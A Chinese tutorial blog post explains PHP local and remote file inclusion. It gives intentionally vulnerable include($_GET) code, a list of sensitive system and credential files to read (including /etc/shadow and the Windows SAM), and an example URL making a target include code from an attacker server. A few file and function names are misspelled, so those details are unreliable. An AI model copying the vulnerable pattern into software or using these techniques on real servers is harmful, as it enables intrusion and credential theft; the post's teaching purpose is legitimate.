首页 > 其他分享 >文件包含漏洞

文件包含漏洞

时间:2024-02-06 23:33:06浏览次数:19  
标签:文件 php 包含 url 漏洞 include

漏洞讲解

漏洞过程解析
在使用include等包含函数时,当对包含文件的来源过滤不严格,那么会包含到恶意文件,攻击者将会通过这个恶意文件来到达他想要达到的相应目的。
引用一句网上看到的话:文件包含漏洞和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

漏洞原理
在开发过程中,难免会有相同代码吃饭使用的情况,我们会将这类代码单独放在一个文件中,等到要用的时候,可以直接在使用出运用包含函数来进行运用,而这种方式会导致客户端可以调用其他的恶意文件,由此被利用。

漏洞利用前提
被包含的文件应该被当作一个变量实验,用户可传入的,如若该变量未被采取相应安全措施(如设置白名单),那么将出现文件包含漏洞。

文件包含中的PHP知识

在php.ini文件在有这么两个变量 allow_url_fopen和allow_url_include
allow_url_fopen 默认值为ON,为允许url的封装协议打开文件处理。
allow_url_include 默认值为OFF,为不允许url的封装协议包含文件,如若需要进行远程包含文件需要将参数设置为ON。

常见的包含函数
PHP:include(),include_once(),require(),require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual(除了PHP的,另外两个我都不了解,网上看到整理的,嘿嘿)

就讲一下PHP这四个包含函数的区别吧
include:包含文件时,如若包含失败,会返回一个警告,但不会影响代码执行。
include_once():与include作用相同,不同的是,include_once()函数会检查该文件是否已经被包含过了,如果已经包含过,就不会在包含了,也就是相同的文件只会包含一次。
require():包含文件时,如若包含失败,代码将终止执行。
request_once():与require()类似,与require()不同的是,跟上面将include()和include_once()的不同。

文件包含漏洞分类
文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞

本地文件包含漏洞(LFI)
能够打开包含本地文件的漏洞就叫作本地包含文件漏洞
举一个例子,在filetest.php文件中写入

<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>

在phpinfo.php写入

<?php
phpinfo();
?>

filetest.php中有name参数,这个参数能够被用户所控制,用户提供这个参数来包含本地的文件,那么就形成了本地包含漏洞

如filetest.php,这样的代码可以让我们读取到系统本地的敏感信息
可以采用来读取下面这些敏感信息
Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置

Linux系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2配置文件
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

因此也可以这样构造http://127.0.0.1/filetest.php/?name=C:\Windows\system.ini

远程文件包含漏洞(RFI)
远程文件包含漏洞成因其实和本地文件包含漏洞相同,只不过远程文件包含漏洞利用的是外部服务器中文件。
远程文件包含漏洞需要前面讲的allow_url_fopen、allow_url_include参数均为ON
说一下大概过程
需要两台服务器,一台为目标服务器,一台为攻击者服务器
目的服务器下php代码

<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>

攻击者服务器下php代码

<?php
phpinfo();
?>

攻击者访问目的服务器,并将他本地下服务器的文件进行远程文件包含
假设目的服务器:192.168.0.1
攻击者服务器:192.168.0.2
那么便为192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php

标签:文件,php,包含,url,漏洞,include
From: https://www.cnblogs.com/l-xx123/p/18010179

相关文章

  • SpringBoot 优雅实现超大文件上传,通用方案
    文件上传是一个老生常谈的话题了,在文件相对比较小的情况下,可以直接把文件转化为字节流上传到服务器,但在文件比较大的情况下,用普通的方式进行上传,这可不是一个好的办法,毕竟很少有人会忍受,当文件上传到一半中断后,继续上传却只能重头开始上传,这种让人不爽的体验。那有没有比较好的上传......
  • ThinkPHP 6.0 SQL注入漏洞修复
    公司买的官网被政府网安检测出SQL注入漏洞:隐患描述SQL漏洞证明语句: python3sqlmap.py-u"http://xxxx?keywords=1"-pkeywords--level=5--risk=3--tamper=space2comment.py,between.py--current-db--random-agent--time-sec=10--batch--dbms="MySQL"漏洞回显:权......
  • 配置bc网站源码搭建sysctl.conf文件修改内核参数
    配置BC网站源码与直接修改sysctl.conf文件以调整内核参数是两个不同的任务,但我可以为您提供关于如何修改sysctl.conf文件以调整内核参数的一般指导。请注意,直接修改系统内核参数可能会对系统稳定性和安全性产生重大影响,因此应谨慎进行。首先,关于sysctl.conf文件:定位文件:sysctl.co......
  • 特征识别码(File Identifier) 文件索引号(File Index Number,FID)
    在Windows系统中,每个文件和文件夹都有一个唯一的标识符,称为特征识别码(FileIdentifier)。特征识别码是用于标识文件系统中文件或文件夹的一种机制,通常是一个整数值。不同的文件系统和操作系统可能会采用不同的方式生成特征识别码。在Windows文件系统中,每个文件或文件夹都有一......
  • ORACLE_查询blob字段中是否包含某个字符串/blob字段模糊匹配
    要查询一个BLOB字段中是否包含某个字符串,可以使用Oracle的DBMS_LOB.INSTR函数。示例如下,这里我们有2条记录,每条blob字段都有数据;其中第二条blob字段包含有字符串“T_NT_EndorsementBillEntry”,第一条记录没有正常我们如下查询会报错:对这个blob截取也会报这个错,这里我......
  • upload文件上传
    Upload-Labs-Linux靶场通关关卡1~2上传.png格式文件,burp后台改成.php即可通关关卡3拦截黑名单不全,在关卡2的基础上改成php3即可(如果靶场是phpstudy搭建,可能需要点击其他选项->打开配置文件->httpd-conf)关卡4关于AddType命令的作用解释 AddType指令作用:在......
  • linux 搜索zip压缩文件内的关键字
    有这样一个场景,一个应用有日志归档,每天新建一个文件夹文件夹里是zip压缩文件             这时候如果程序出现问题,但是不确定是哪一天,需要搜索这些天里的日志文件关键字,这个怎么弄问题比较棘手,经过一番琢磨还是解决了:zgrep'deletefromt_common......
  • ASP 与iis基础漏洞
    1ASP安全在早期我们在windows上搭建服务器使用的是windows,iis,asp,access(sqlserver),他们几个分别是操作系统,中间件,编程语言,数据库,类比我们先前学习的NAMP,是同一类事物,本篇来学习ASP安全。1.1access脱库由于access数据库文件格式一般有.mdb.asp.asa该文件放在网站目......
  • Omit 用于创建一个新的类型,该类型包含了原始类型`T`的所有属性,但排除了指定的键`K`
    在TypeScript中,Omit<T,K>是一个内置的实用类型(从TypeScript3.5版本开始提供),用于创建一个新的类型,该类型包含了原始类型T的所有属性,但排除了指定的键K。其定义如下:typeOmit<T,Kextendskeyofany>=Pick<T,Exclude<keyofT,K>>;这个类型的工作原理是首先找出T的所有键(......
  • windows栈回溯功能示例——漏洞利用检测
    利用windows栈回溯如何进行漏洞利用检测?利用Windows栈回溯进行漏洞利用检测是一个复杂的过程,它通常涉及监控可疑或危险函数的调用,并分析调用这些函数的上下文来判断是否存在潜在的漏洞利用尝试。这种方法需要深入理解漏洞利用技术、危险函数的正常与异常使用模式,以及堆栈回溯的技......